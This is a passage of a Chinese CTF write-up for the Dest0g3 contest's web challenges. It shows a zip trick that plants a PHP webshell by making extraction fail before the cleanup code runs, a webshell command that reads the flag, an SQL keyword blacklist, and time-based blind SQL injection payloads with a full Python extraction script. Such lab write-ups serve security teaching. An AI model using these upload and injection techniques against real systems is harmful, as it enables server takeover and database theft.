        $this->zip_name = $zip_name;
    }
    public function gen_path(){
        $chars="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
        $newchars=str_split($chars);
        shuffle($newchars);
        $chars_key=array_rand($newchars,15);
        $fnstr = "";
        for($i=0;$i<15;$i++){
            $fnstr.=$newchars[$chars_key[$i]];
        }
        return md5($fnstr.time().microtime()*100000);
    }

    public function deldir($dir) {
        //先删除目录下的文件:
        $dh = opendir($dir);
        while ($file = readdir($dh)) {
            if($file != "." && $file!="..") {
                $fullpath = $dir."/".$file;
                if(!is_dir($fullpath)) {
                    unlink($fullpath);
                } else {
                    $this->deldir($fullpath);
                }
            }
        }
        closedir($dh);
    }
    function dir_list($directory)
    {
        $array = [];

        $dir = dir($directory);
        while ($file = $dir->read()) {
            if ($file !== '.' && $file !== '..') {
                $array[] = $file;
            }
        }
        return $array;
    }
    public function unzip()
    {
        $fullpath = "/var/www/html/".$this->path."/".$this->zip_name;
        $white_list = ['jpg','png','gif','bmp'];
        $this->zip_manager->open($fullpath);
        for ($i = 0;$i < $this->zip_manager->count();$i ++) {
            if (strstr($this->zip_manager->getNameIndex($i),"../")){
                echo "you bad bad";
                return false;
            }
        }
        if(!$this->zip_manager->extractTo($this->path)){
            echo "Unzip to /".$this->path."/ failed";
            exit;
        }
        @unlink($fullpath);
        $file_list = $this->dir_list("/var/www/html/".$this->path."/");
        for($i=0;$i<sizeof($file_list);$i++){
            if(is_dir($this->path."/".$file_list[$i])){
                echo "dir? I deleted all things in it"."
"
;@$this->deldir("/var/www/html/".$this->path."/".$file_list[$i]);@rmdir("/var/www/html/".$this->path."/".$file_list[$i]); } else{ if(!in_array(pathinfo($file_list[$i], PATHINFO_EXTENSION),$white_list)) {echo "only image!!! I deleted it for you"."
"
;@unlink("/var/www/html/".$this->path."/".$file_list[$i]);} } } return true; } }

本来想用符号链接做,像[HACKIM 2016]SMASHTHESTATE那样,但是上传上去并没有解析,联想到之前见过的一个misc题目,让压缩包中目录名和一个文件名相同,这样解压时候会报错(但是文件已经解压出来了),于是利用 ↓处的exit,绕过之后检测的rmdir和unlink

if(! t h i s − > z i p m a n a g e r − > e x t r a c t T o ( this->zip_manager->extractTo( this>zipmanager>extractTo(this->path)){
echo “Unzip to /”.$this->path.“/ failed”;
exit;
}

首先创建一个passwd.php,内含一句话,把他zip进压缩包

zip -y pwn.zip passwd.php

然后删除passwd.php创建一个同名文件夹,里头随便放点东西,再压缩进同一个包

mkdir passwd.php
zip -y pwn.zip passwd.php/.jpg

得到的包长这样

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第41张图片

上传
Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第42张图片

访问对应的webshell,命令执行

/passwd.php?cmd=system(%27nl%20/flag%27);

在这里插入图片描述

Really Easy SQL

黑名单

Really Easy SQL:$black_list=array('union','updatexml','order','by','substr',' ','and','extractvalue',';','sleep','join','alter','handler','char','+','/','like','regexp','offset','sleep','case','&','-','hex','%0','load’);

提示是insert注入,假设这个位钓鱼网站后端insert into test values('1' ,'2');

本地尝试得到这个payload↓

insert into flagg values(1,'0'^(if((select(length(database()))=4),(BENCHMARK(500000000,rand())),0))^'0','3');

好久之后才发现rand里头有and……可以用下面的payload测试有没有时间盲注

0'^(if((select(length(1234))=4),(BENCHMARK(20000000,md5(1))),0))^'0

limit中的空格,burp尝试的时候%a0可以绕过,但是python发包会有问题,没有解决,索性直接group_concat,最终payload见脚本↓

二分法写脚本:

# 二分法 时间盲注
import requests
import time
import datetime

url = "http://2d8b033e-9739-47dd-8f00-a05d6f6fa05c.node4.buuoj.cn:81/index.php"
result = ""
for i in range(1,100):
        min_value = 33
        max_value = 130
        mid = (min_value+max_value)//2 #中值  mid = (min_value+max_value)>>1
        while(min_value<max_value):
            #payload = '''0'^(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{}),(BENCHMARK(2000000,md5(1))),0))^'0'''.format(str(i),str(mid))
            #payload = '''0'^(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))>{}),(BENCHMARK(2000000,md5(1))),0))^'0'''.format(str(i),str(mid))
            payload = '''0'^(if((ascii(mid((select(group_concat(cmd))from(flaggg)),{},1))>{}),(BENCHMARK(2000000,md5(1))),0))^'0'''.format(str(i),str(mid))
            #print(payload)
            time1 = datetime.datetime.now()
            r = requests.post(
                url,
                data={
                    'username': '123',
                    'password': payload
                },
            )
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            time.sleep(0.5)
            # print(index)
            #print('timeout:',sec)
            if sec >= 1:
                min_value = mid+1 #ascii值比mid值大
            else:
                max_value = mid
            
            mid = (min_value+max_value)//2     #找不到目标元素时停止mid = (min_value+max_value)>>1
            
            
        if(chr(mid)==" "):
            break
        result += chr(mid)
        print(i,':',chr(mid))
        print(result)
print("fina flag:",result)

表名

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第43张图片

列名
Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第44张图片

flag

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_第45张图片

下一题的easysql

弄了一点点,比上一题多过滤了大于小于

payload

0'^(if((LEAST(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1)),{})={}),(BENCHMARK(2000000,md5(1))),0))^'0

可以爆出gmbhhh-vtfs,但是之后列名弄不出来,也快到比赛结束时间了,好可惜,不知道啥问题……

你可能感兴趣的:(ctf,#,web,#,misc,ctf,misc,web)